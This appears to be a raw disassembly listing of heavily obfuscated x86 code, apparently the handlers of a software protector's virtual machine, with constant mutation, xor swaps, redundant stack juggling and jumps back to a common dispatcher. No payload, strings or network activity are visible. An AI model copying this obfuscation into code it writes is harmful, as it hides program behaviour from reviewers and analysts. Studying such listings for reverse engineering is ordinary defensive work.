		sub	[edx+30h], edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58DBCD
; ---------------------------------------------------------------------------


loc_583D9F:				; CODE XREF: .XComp0:00589293j
		mov	edi, 4D32E6FEh
		add	edi, edx
		pop	edx
		sub	edi, 14831ECFh
		jmp	loc_592F33
; ---------------------------------------------------------------------------


loc_583DB2:				; CODE XREF: .XComp0:00587126j
		add	ebp, 26E04C7Bh
		pop	ebx
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	3EFDh
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_58BDA9
; ---------------------------------------------------------------------------


loc_583DD3:				; CODE XREF: .XComp0:0058F76Aj
		sub	ebp, 1DEF7B1Ah
		shl	ebp, 3
		jmp	loc_596514
; ---------------------------------------------------------------------------


loc_583DE1:				; CODE XREF: .XComp0:00588199j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 0EAF47F8h
		xor	edi, 57343BB3h
		sub	edi, 599B7C47h
		add	ecx, edi
		pop	edi
		add	ecx, 4
		jmp	loc_58B858
; ---------------------------------------------------------------------------


loc_583E0B:				; CODE XREF: .XComp0:00587DEBj
		pop	dword ptr [esp]
		pop	esp
		push	41Ch
		mov	[esp], eax
		mov	eax, 4B345DB6h
		shr	eax, 4
		xor	eax, 165E3D0Ch
		jmp	loc_58D040
; ---------------------------------------------------------------------------


loc_583E29:				; CODE XREF: .XComp0:0058BA90j
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_5888B2
; ---------------------------------------------------------------------------


loc_583E3C:				; CODE XREF: .XComp0:0058CBE4j
		mov	edi, esp
		jmp	loc_58F0EA
; ---------------------------------------------------------------------------


loc_583E43:				; CODE XREF: .XComp0:00590872j
		mov	edx, 24530888h
		sub	edx, 0F854E543h
		jmp	loc_59480B
; ---------------------------------------------------------------------------


loc_583E53:				; CODE XREF: .XComp0:00589BDEj
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_583E65:				; CODE XREF: .XComp0:0059590Ej
		sub	edi, 7AA86B92h
		sub	edi, 1CE1200Fh
		add	edi, esi
		add	edi, 1CE1200Fh
		jmp	loc_58991C
; ---------------------------------------------------------------------------


loc_583E7E:				; CODE XREF: .XComp0:00587311j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 8093BD0h
		sub	[esp+4], ecx
		pop	ecx
		sub	dword ptr [esp], 6D977B84h
		add	[esp], eax
		push	eax
		mov	eax, 6D977B84h
		add	[esp+4], eax
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 8093BD0h
		add	[esp+4], ecx
		pop	ecx
		push	1EE5h
		mov	[esp], edx
		push	esi
		push	13EE1946h
		pop	esi
		shl	esi, 4
		add	esi, 303A38D0h
		or	esi, 79275AEBh
		sub	esi, 140FCD94h
		jmp	loc_58C489
; ---------------------------------------------------------------------------


loc_583EE0:				; CODE XREF: .XComp0:00587DFFj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_58B2E0
; ---------------------------------------------------------------------------


loc_583EF3:				; CODE XREF: .XComp0:00584CFAj
		not	edi
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		shr	edx, 8
		dec	edx
		sub	edx, 4E0F2936h
		push	ecx
		mov	ecx, 599C12FCh
		shl	ecx, 6
		xor	ecx, offset byte_494953
		or	ecx, 609F3E46h
		xor	ecx, 358D23BFh
		add	edx, ecx
		pop	ecx
		push	edx
		xchg	edx, [esp]
		not	edx
		jmp	loc_585BCF
; ---------------------------------------------------------------------------


loc_583F2E:				; CODE XREF: .XComp0:0058CA14j
		mov	ch, 30h
		mov	dl, ch
		pop	cx
		and	cl, dl
		pop	edx
		neg	cl
		xor	cl, 51h
		and	dl, cl
		jmp	loc_58DA64
; ---------------------------------------------------------------------------


loc_583F43:				; CODE XREF: .XComp0:0058E33Bj
		add	dword ptr [esp], 4
		pop	ebx
		push	3202h
		mov	[esp], esi
		push	4
		pop	esi
		add	ebx, esi
		jmp	loc_58B579
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_583F67:				; CODE XREF: .XComp0:005947A3j
		sub	eax, 191493Ah
		sub	eax, ecx
		add	eax, 191493Ah
		pop	ecx
		sub	eax, 41D46153h
		jmp	loc_58686A
; ---------------------------------------------------------------------------


loc_583F7E:				; CODE XREF: .XComp0:0058C3C2j
		shl	ecx, 8
		shr	ecx, 2
		sub	ecx, 7C10176Fh
		push	eax
		mov	eax, 87B03155h
		jmp	loc_58D37A
; ---------------------------------------------------------------------------


loc_583F95:				; CODE XREF: .XComp0:00589624j
		push	ebx
		mov	ebx, 4A5B01D8h
		add	ebx, 0B60F5452h
		mov	esi, 6A5628h
		jmp	loc_58D3BF
; ---------------------------------------------------------------------------


loc_583FAB:				; CODE XREF: .XComp0:0058A958j
		xor	edi, [esp]
		jmp	loc_58864E
; ---------------------------------------------------------------------------


loc_583FB3:				; CODE XREF: .XComp0:00587FD9j
		xor	eax, 736A452Bh
		push	ebx
		mov	ebx, 72224064h
		shr	ebx, 8
		sub	ebx, 0B3408FC4h
		xor	eax, ebx
		pop	ebx
		jmp	loc_593D25
; ---------------------------------------------------------------------------


loc_583FCF:				; CODE XREF: .XComp0:0058B42Ej
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_584B91
; ---------------------------------------------------------------------------


loc_583FE0:				; CODE XREF: .XComp0:00596EA8j
		add	esi, ebx
		pop	ebx
		jmp	loc_58ED11
; ---------------------------------------------------------------------------


loc_583FE8:				; CODE XREF: .XComp0:005944DCj
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_5971AC
; ---------------------------------------------------------------------------


loc_583FF5:				; CODE XREF: .XComp0:00585252j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_58C5B5
; ---------------------------------------------------------------------------


loc_583FFE:				; CODE XREF: .XComp0:0059758Fj
		add	edi, ecx
		pop	ecx
		xor	edi, 53DA6226h
		jmp	loc_596EBB
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_584A0F
; ---------------------------------------------------------------------------


loc_584012:				; CODE XREF: .XComp0:00598E88j
		xor	edx, 21E03B2Ah
		push	eax
		mov	eax, edx
		jmp	loc_592F85
; ---------------------------------------------------------------------------


loc_584020:				; CODE XREF: .XComp0:0059486Dj
		add	edx, ecx
		pop	ecx
		add	edx, 34801A76h
		jmp	loc_58C085
; ---------------------------------------------------------------------------


loc_58402E:				; CODE XREF: .XComp0:0058A61Ej
		mov	ah, 15h
		jmp	loc_589D42
; ---------------------------------------------------------------------------


loc_584035:				; CODE XREF: .XComp0:00585DA5j
		mov	edi, 542C63A5h
		xor	edi, 2A991AA7h
		jmp	loc_58F0B9
; ---------------------------------------------------------------------------


loc_584045:				; CODE XREF: .XComp0:0058CC3Fj
		push	75A8h
		mov	[esp], ebp
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_58DD95
; ---------------------------------------------------------------------------


loc_584055:				; CODE XREF: .XComp0:0058AD29j
		add	edx, ebx
		add	edx, 69CD2B8Ah
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	[esp+4], ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58F15D
; ---------------------------------------------------------------------------


loc_58407D:				; CODE XREF: .XComp0:00595CEBj
		add	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_58E297
; ---------------------------------------------------------------------------


loc_584096:				; CODE XREF: .XComp0:0058BDDDj
		pop	ebx
		pop	ebx
		add	cl, dh
		pop	dx
		push	36h
		mov	[esp], edx
		jmp	loc_58D1C0
; ---------------------------------------------------------------------------


loc_5840A9:				; CODE XREF: .XComp0:005968B2j
		push	32B2h
		mov	[esp], ecx
		mov	ecx, 2EF5191Dh
		mov	edi, 286B72BFh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0E344E0Ch
		neg	ebx
		inc	ebx
		push	ecx
		mov	ecx, 21C0545Eh
		dec	ecx
		push	edx
		mov	edx, 5AB21918h
		sub	ecx, edx
		pop	edx
		push	edx
		jmp	loc_59705F
; ---------------------------------------------------------------------------


loc_5840DF:				; CODE XREF: .XComp0:005936F3j
		xor	[esp], eax
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58F5C7
; ---------------------------------------------------------------------------


loc_5840F9:				; CODE XREF: .XComp0:0058D3E8j
		push	ecx
		jmp	loc_58F9EC
; ---------------------------------------------------------------------------


loc_5840FF:				; CODE XREF: .XComp0:00590849j
		pop	ecx
		pop	ebx
		push	41D8h
		mov	[esp], eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_58C5A0
; ---------------------------------------------------------------------------


loc_58411E:				; CODE XREF: .XComp0:00586616j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58A157
; ---------------------------------------------------------------------------


loc_58412C:				; CODE XREF: .XComp0:005902E2j
		pop	ecx
		xor	ebp, edx
		pop	edx
		mov	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		jmp	loc_58654F
; ---------------------------------------------------------------------------


loc_58413F:				; CODE XREF: .XComp0:0058A572j
		xor	ah, 74h
		push	ebx
		mov	bh, ah
		mov	ch, bh
		pop	ebx
		pop	eax
		or	ch, 0CDh
		shl	ch, 8
		jmp	loc_58AEC1
; ---------------------------------------------------------------------------


loc_584154:				; CODE XREF: .XComp0:0058F56Bj
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		jmp	loc_596582
; ---------------------------------------------------------------------------


loc_584162:				; CODE XREF: .XComp0:0058A38Cj
		or	cl, al
		pop	ax
		sub	esp, 4
		jmp	loc_588899
; ---------------------------------------------------------------------------


loc_58416E:				; CODE XREF: .XComp0:00585899j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	edi, 4F371ED0h
		jmp	loc_58957B
; ---------------------------------------------------------------------------


loc_584183:				; CODE XREF: .XComp0:0058D90Aj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		push	1
		jmp	loc_594B1A
; ---------------------------------------------------------------------------


loc_5841AA:				; CODE XREF: .XComp0:005888ADj
		push	ecx
		mov	cl, 74h
		push	edx
		mov	dh, 0F7h
		dec	dh
		jmp	loc_598FD6
; ---------------------------------------------------------------------------


loc_5841B7:				; CODE XREF: .XComp0:00583B32j
		pop	eax
		push	1A47h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_586AD5
; ---------------------------------------------------------------------------


loc_5841C9:				; CODE XREF: .XComp0:0058860Aj
		mov	esp, [esp]
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		push	edx
		push	533Ch
		mov	[esp], ebx
		mov	ebx, 4BFB3CB2h
		add	ebx, 591C34C2h
		xor	ebx, 4D3676FBh
		push	ebp
		mov	ebp, 23783DB7h
		jmp	loc_592604
; ---------------------------------------------------------------------------


loc_584206:				; CODE XREF: .XComp0:005928E0j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58DB50
; ---------------------------------------------------------------------------


loc_584220:				; CODE XREF: .XComp0:0058AC74j
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_589CCE
; ---------------------------------------------------------------------------


loc_584229:				; CODE XREF: .XComp0:0058DB2Ej
		xor	edx, eax
		pop	eax
		pop	edi
		jmp	loc_5852E3
; ---------------------------------------------------------------------------


loc_584232:				; CODE XREF: .XComp0:0058A665j
		push	edx
		push	ebx
		jmp	loc_58A163
; ---------------------------------------------------------------------------


loc_584239:				; CODE XREF: .XComp0:005884F7j
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_589BBC
; ---------------------------------------------------------------------------


loc_584246:				; CODE XREF: .XComp0:00585B47j
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_588F4D
; ---------------------------------------------------------------------------


loc_58425B:				; CODE XREF: .XComp0:0058E85Aj
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_584267:				; CODE XREF: .XComp0:0059671Fj
		or	ebx, ebx
		jnz	loc_5850DB
		push	7DEDh
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_591210
; ---------------------------------------------------------------------------


loc_58427F:				; CODE XREF: .XComp0:005960E4j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5950B9
; ---------------------------------------------------------------------------


loc_58428D:				; CODE XREF: .XComp0:00587C5Ej
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_587D54
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	6B0Eh
		jmp	loc_591925
; ---------------------------------------------------------------------------


loc_5842B1:				; CODE XREF: .XComp0:0058BC7Bj
		pop	esi
		push	ebp
		jmp	loc_58FED3
; ---------------------------------------------------------------------------


loc_5842B8:				; CODE XREF: .XComp0:005974BFj
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, 3E1A6833h
		shl	ebp, 2
		shl	ebp, 3
		inc	ebp
		not	ebp
		sub	ebp, 2D851226h
		add	esi, ebp
		jmp	loc_5924CA
; ---------------------------------------------------------------------------


loc_5842DD:				; CODE XREF: .XComp0:00593314j
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 8
		jmp	loc_590D93
; ---------------------------------------------------------------------------


loc_5842F3:				; CODE XREF: .XComp0:0058A00Cj
		add	esp, 4
		add	esi, 37333020h
		add	esi, eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_586D5E
; ---------------------------------------------------------------------------


loc_584313:				; CODE XREF: .XComp0:005907D8j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5875CE
; ---------------------------------------------------------------------------


loc_58431E:				; CODE XREF: .XComp0:00598E59j
		xor	eax, 0D88710Eh
		and	eax, 4B894F51h
		jmp	loc_591A60
; ---------------------------------------------------------------------------


loc_58432D:				; CODE XREF: .XComp0:00588EF8j
		add	edx, eax
		jmp	loc_5953D9
; ---------------------------------------------------------------------------


loc_584334:				; CODE XREF: .XComp0:005909E9j
		pop	esi
		xchg	ecx, [esp]
		jmp	loc_5962B0
; ---------------------------------------------------------------------------


loc_58433D:				; CODE XREF: .XComp0:005894FFj
		add	esi, 4
		push	eax
		mov	eax, 4
		sub	esi, eax
		pop	eax
		jmp	loc_585767
; ---------------------------------------------------------------------------


loc_584351:				; CODE XREF: .XComp0:00590696j
		mov	eax, 0
		sub	eax, ecx
		xchg	eax, ecx
		pop	eax
		sub	ecx, 14B64A53h
		xor	ecx, 33E576F4h
		jmp	loc_58A8FE
; ---------------------------------------------------------------------------


loc_58436B:				; CODE XREF: .XComp0:00589C42j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_58E792
; ---------------------------------------------------------------------------


loc_58438D:				; CODE XREF: .XComp0:005914A7j
		add	eax, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5968B7
; ---------------------------------------------------------------------------


loc_58439D:				; CODE XREF: .XComp0:0058CFA3j
		and	esi, 4B77053Ch
		jmp	loc_587425
; ---------------------------------------------------------------------------


loc_5843A8:				; CODE XREF: .XComp0:00597BE5j
		mov	dl, 0Fh
		or	cl, dl
		jmp	loc_58F9B2
; ---------------------------------------------------------------------------


loc_5843B1:				; CODE XREF: .XComp0:0058B627j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58A8DD
; ---------------------------------------------------------------------------


loc_5843C2:				; CODE XREF: .XComp0:0059439Fj
		mov	[esp], edi
		mov	edi, 12A25CFh
		push	77AEh
		mov	[esp], edi
		push	ecx
		mov	ecx, 1E820ADFh
		xor	[esp+4], ecx
		jmp	loc_587187
; ---------------------------------------------------------------------------


loc_5843E1:				; CODE XREF: .XComp0:00593B1Fj
		xor	edx, eax
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5843E8:				; CODE XREF: .XComp0:00597A57j
		sub	eax, 59C351ABh
		add	eax, esi
		push	ebp
		jmp	loc_58B7DD
; ---------------------------------------------------------------------------


loc_5843F5:				; CODE XREF: .XComp0:00590CD5j
		mov	edx, 36B46111h
		inc	edx
		jmp	loc_584DE1
; ---------------------------------------------------------------------------


loc_584400:				; CODE XREF: .XComp0:005980D8j
		shr	ebx, 4
		xor	ebx, 0F9F38FDh
		push	ebx
		mov	ebx, 37995CDBh
		not	ebx
		jmp	loc_58FFBD
; ---------------------------------------------------------------------------


loc_584416:				; CODE XREF: .XComp0:00587531j
		shr	ebx, 2
		jmp	loc_58E157
; ---------------------------------------------------------------------------


loc_58441E:				; CODE XREF: .XComp0:00597644j
		mov	ecx, 6329396Bh
		jmp	loc_58FAA6
; ---------------------------------------------------------------------------


loc_584428:				; CODE XREF: .XComp0:005895F9j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_58489D
; ---------------------------------------------------------------------------


loc_58443E:				; CODE XREF: .XComp0:00598F58j
		push	ecx
		pop	esi
		pop	ecx
		add	eax, esi
		jmp	loc_58A677
; ---------------------------------------------------------------------------


loc_584448:				; CODE XREF: .XComp0:00591B97j
		mov	[esp], ecx
		mov	ecx, 38h
		jmp	loc_5944E1
; ---------------------------------------------------------------------------


loc_584455:				; CODE XREF: .XComp0:0058E88Bj
		pop	edi
		shr	ebp, 3
		push	eax
		mov	eax, 5FF375E2h
		add	eax, 590816E5h
		neg	eax
		jmp	loc_58BDCA
; ---------------------------------------------------------------------------


loc_58446B:				; CODE XREF: .XComp0:005928D2j
		add	edi, ecx
		mov	ecx, [esp]
		jmp	loc_585D40
; ---------------------------------------------------------------------------


loc_584475:				; CODE XREF: .XComp0:0058C330j
		push	edi
		mov	edi, 7D19212Ah
		add	edx, edi
		jmp	loc_589489
; ---------------------------------------------------------------------------


loc_584482:				; CODE XREF: .XComp0:005929DAj
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_5881BC
; ---------------------------------------------------------------------------


loc_58448F:				; CODE XREF: .XComp0:0058DB9Ej
		sub	ah, ch
		pop	ecx
		mov	bl, 46h
		jmp	loc_58DDBB
; ---------------------------------------------------------------------------


loc_584499:				; CODE XREF: .XComp0:00591DAEj
		push	ebp
		jmp	loc_58FD67
; ---------------------------------------------------------------------------


loc_58449F:				; CODE XREF: .XComp0:0058AB99j
		xchg	esi, edx
		jmp	loc_58749A
; ---------------------------------------------------------------------------


loc_5844A6:				; CODE XREF: .XComp0:005970D1j
		sub	eax, ecx
		jmp	loc_58C4E8
; ---------------------------------------------------------------------------


loc_5844AD:				; CODE XREF: .XComp0:00598ECCj
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_594716
; ---------------------------------------------------------------------------


loc_5844BE:				; CODE XREF: .XComp0:00589D8Bj
		add	ebx, eax
		pop	eax
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	dh, 8Ch
		dec	dh
		sub	dh, 2
		jmp	loc_5908AD
; ---------------------------------------------------------------------------


loc_5844DA:				; CODE XREF: .XComp0:00585157j
		push	bx
		mov	bx, 21A3h
		add	ax, bx
		jmp	loc_58C72A
; ---------------------------------------------------------------------------


loc_5844E8:				; CODE XREF: .XComp0:0058A374j
		mov	ebp, 70E84013h
		shr	ebp, 6
		add	ebp, 7FC31621h
		add	ebp, 0CE1251EDh
		and	edx, ebp
		pop	ebp
		shr	edx, 3
		push	ebp
		mov	ebp, 7B615446h
		shr	ebp, 3
		neg	ebp
		not	ebp
		dec	ebp
		add	ebp, 5CD74468h
		sub	ebp, 64316D6Eh
		xor	edx, ebp
		pop	ebp
		push	252Eh
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5943EC
; ---------------------------------------------------------------------------


loc_58452E:				; CODE XREF: .XComp0:0058DB35j
					; .XComp0:005973C0j
		push	4E07h
		mov	[esp], ebx
		push	edx
		mov	edx, 76D94038h
		add	[esp+4], edx
		pop	edx
		pop	eax
		push	ecx
		mov	ecx, 68B93653h
		push	edx


loc_584549:				; DATA XREF: .XComp0:00452CC0o
		jmp	loc_58A096
; ---------------------------------------------------------------------------


loc_58454E:				; CODE XREF: .XComp0:00584965j
		xor	edx, 861395A9h
		mov	ebx, edx
		pop	edx
		sub	edi, ebx
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_59641D
; ---------------------------------------------------------------------------


loc_584574:				; CODE XREF: .XComp0:0058B550j
		pop	edi
		add	eax, edx
		jmp	loc_58D071
; ---------------------------------------------------------------------------


loc_58457C:				; CODE XREF: .XComp0:005931EFj
		pop	esp
		sub	dword ptr [esp+4], 5F460252h
		add	[esp+4], ebp
		jmp	loc_593444
; ---------------------------------------------------------------------------


loc_58458E:				; CODE XREF: .XComp0:00593668j
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		push	ebp
		mov	ebp, 4EB223FFh
		jmp	loc_5962E2
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5845A7:				; CODE XREF: .XComp0:00587EF6j
		sub	edx, ebx
		pop	ebx
		push	ecx
		jmp	loc_58F285
; ---------------------------------------------------------------------------


loc_5845B0:				; CODE XREF: .XComp0:00586EC4j
		sub	esi, ecx
		pop	ecx
		jmp	loc_598F5D
; ---------------------------------------------------------------------------


loc_5845B8:				; CODE XREF: .XComp0:0058D0E2j
		push	esi
		mov	esi, 4
		push	ecx
		mov	ecx, 41E07B37h
		add	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 45A77918h
		add	ebx, ecx
		pop	ecx
		add	ebx, 1C150E57h
		jmp	loc_593330
; ---------------------------------------------------------------------------


loc_5845DB:				; CODE XREF: .XComp0:00594302j
		shl	esi, 2
		and	esi, 22AD1AEEh
		add	esi, 0E6271D79h
		add	eax, esi
		pop	esi
		sub	eax, ecx
		push	ecx
		push	834h
		jmp	loc_59336C
; ---------------------------------------------------------------------------


loc_5845FA:				; CODE XREF: .XComp0:0058652Cj
		dec	ebx
		push	eax
		push	ebx
		pop	eax
		jmp	loc_58EF55
; ---------------------------------------------------------------------------


loc_584603:				; CODE XREF: .XComp0:0058DBC8j
		add	ebp, 5A027F7Bh
		add	ebp, ecx
		sub	ebp, 5A027F7Bh
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		jmp	loc_596F26
; ---------------------------------------------------------------------------


loc_584628:				; CODE XREF: .XComp0:00598E60j
		pop	edx
		sub	cl, 0FFh
		push	eax
		mov	ah, 1Ch
		add	ah, 0E5h
		sub	cl, ah
		mov	eax, [esp]
		add	esp, 4
		dec	cl
		push	dx
		jmp	loc_58E072
; ---------------------------------------------------------------------------


loc_584643:				; CODE XREF: .XComp0:0058520Aj
		pop	dword ptr [esp]
		jmp	loc_5892E8
; ---------------------------------------------------------------------------


loc_58464B:				; CODE XREF: .XComp0:0059464Ej
		mov	[esp], ebx
		jmp	loc_591B67
; ---------------------------------------------------------------------------


loc_584653:				; CODE XREF: .XComp0:00597E09j
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_594A24
; ---------------------------------------------------------------------------


loc_584678:				; CODE XREF: .XComp0:005870E7j
		sub	ebp, 54517Ch
		sub	eax, ebp
		pop	ebp
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_596940
; ---------------------------------------------------------------------------


loc_584695:				; CODE XREF: .XComp0:00590FD5j
		pop	eax
		push	20A5h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58F5F4
; ---------------------------------------------------------------------------


loc_5846AB:				; CODE XREF: .XComp0:0058A6F8j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		add	esi, ecx
		jmp	loc_5888FD
; ---------------------------------------------------------------------------


loc_5846BE:				; CODE XREF: .XComp0:0059448Bj
		add	eax, ebx
		jmp	loc_58B10F
; ---------------------------------------------------------------------------


loc_5846C5:				; CODE XREF: .XComp0:0058C1D8j
		mov	ebp, [esp]
		add	esp, 4
		not	esi
		push	77EEh
		mov	[esp], edi
		mov	edi, 82F09950h
		jmp	loc_590DB9
; ---------------------------------------------------------------------------


loc_5846DF:				; CODE XREF: .XComp0:0058665Cj
		mov	[esp], ebx
		jmp	loc_588A88
; ---------------------------------------------------------------------------


loc_5846E7:				; CODE XREF: .XComp0:005921ABj
		sub	eax, 636B4A97h
		sub	eax, edx
		add	eax, 636B4A97h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_58AF70
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 566D2592h
		push	ebx
		mov	ebx, 746F49A8h
		sub	eax, ebx
		pop	ebx
		add	eax, 255A3E3Eh
		add	eax, ebx
		sub	eax, 255A3E3Eh
		jmp	loc_587F29
; ---------------------------------------------------------------------------


loc_58472B:				; CODE XREF: .XComp0:00583D1Bj
		mov	[esp], ebp
		push	21ECh
		jmp	loc_589DEC
; ---------------------------------------------------------------------------


loc_584738:				; CODE XREF: .XComp0:00593D86j
		mov	ecx, [esp]
		jmp	loc_595AE6
; ---------------------------------------------------------------------------


loc_584740:				; CODE XREF: .XComp0:00586F73j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_587DF0
; ---------------------------------------------------------------------------


loc_58475D:				; CODE XREF: .XComp0:00590E9Dj
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	edx, edi
		pop	edi


loc_584765:				; CODE XREF: .XComp0:0058FFE4j
					; .XComp0:005910E3j
		push	2518h
		mov	[esp], ebx
		jmp	loc_58ABB0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_593D5E
; ---------------------------------------------------------------------------


loc_58477B:				; CODE XREF: .XComp0:00595029j
		and	esi, 5A285D48h
		inc	esi
		xor	esi, 58001145h
		add	ebp, esi
		jmp	loc_598AFA
; ---------------------------------------------------------------------------


loc_58478F:				; CODE XREF: .XComp0:0058A5C5j
		add	edx, 0E2F8096Ch
		mov	esi, edx
		mov	edx, [esp]
		jmp	loc_586A8C
; ---------------------------------------------------------------------------


loc_58479F:				; CODE XREF: .XComp0:005919EFj
		add	eax, ecx
		add	eax, 50A9302Eh
		pop	ecx
		jmp	loc_590F95
; ---------------------------------------------------------------------------


loc_5847AC:				; CODE XREF: .XComp0:00594675j
		mov	edx, ebp
		pop	ebp
		push	edx
		mov	edx, 5CAE4FD1h
		neg	edx
		sub	edx, 56792499h
		xor	edx, 5F2E598h
		jmp	loc_58F1FE
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		push	esp
		jmp	loc_5882D0
; ---------------------------------------------------------------------------


loc_5847D3:				; CODE XREF: .XComp0:00593D7Aj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_591CC8
; ---------------------------------------------------------------------------


loc_5847E7:				; CODE XREF: .XComp0:00585B27j
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5847F3:				; CODE XREF: .XComp0:0058FAA1j
		xor	esi, 47120AD5h
		add	esi, 0FFFFFFFFh
		or	esi, 60B2558Ah
		and	esi, 6DA0052Ah
		jmp	loc_590DE2
; ---------------------------------------------------------------------------


loc_584810:				; CODE XREF: .XComp0:0058AFBEj
		pop	eax
		push	esi
		mov	esi, 425565EBh
		neg	esi
		shr	esi, 2
		not	esi
		jmp	loc_595D26
; ---------------------------------------------------------------------------


loc_584823:				; CODE XREF: .XComp0:005857C1j
		xchg	ecx, [esp]
		mov	esp, [esp]
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_584833:				; CODE XREF: .XComp0:00595A61j
		pop	ecx
		push	edi
		push	526h
		jmp	loc_59556D
; ---------------------------------------------------------------------------


loc_58483F:				; CODE XREF: .XComp0:005869B4j
		neg	ebp
		jmp	loc_594C1E
; ---------------------------------------------------------------------------


loc_584846:				; CODE XREF: .XComp0:00584F5Cj
		neg	esi
		xor	esi, 6AABD85Fh
		xor	ebx, esi
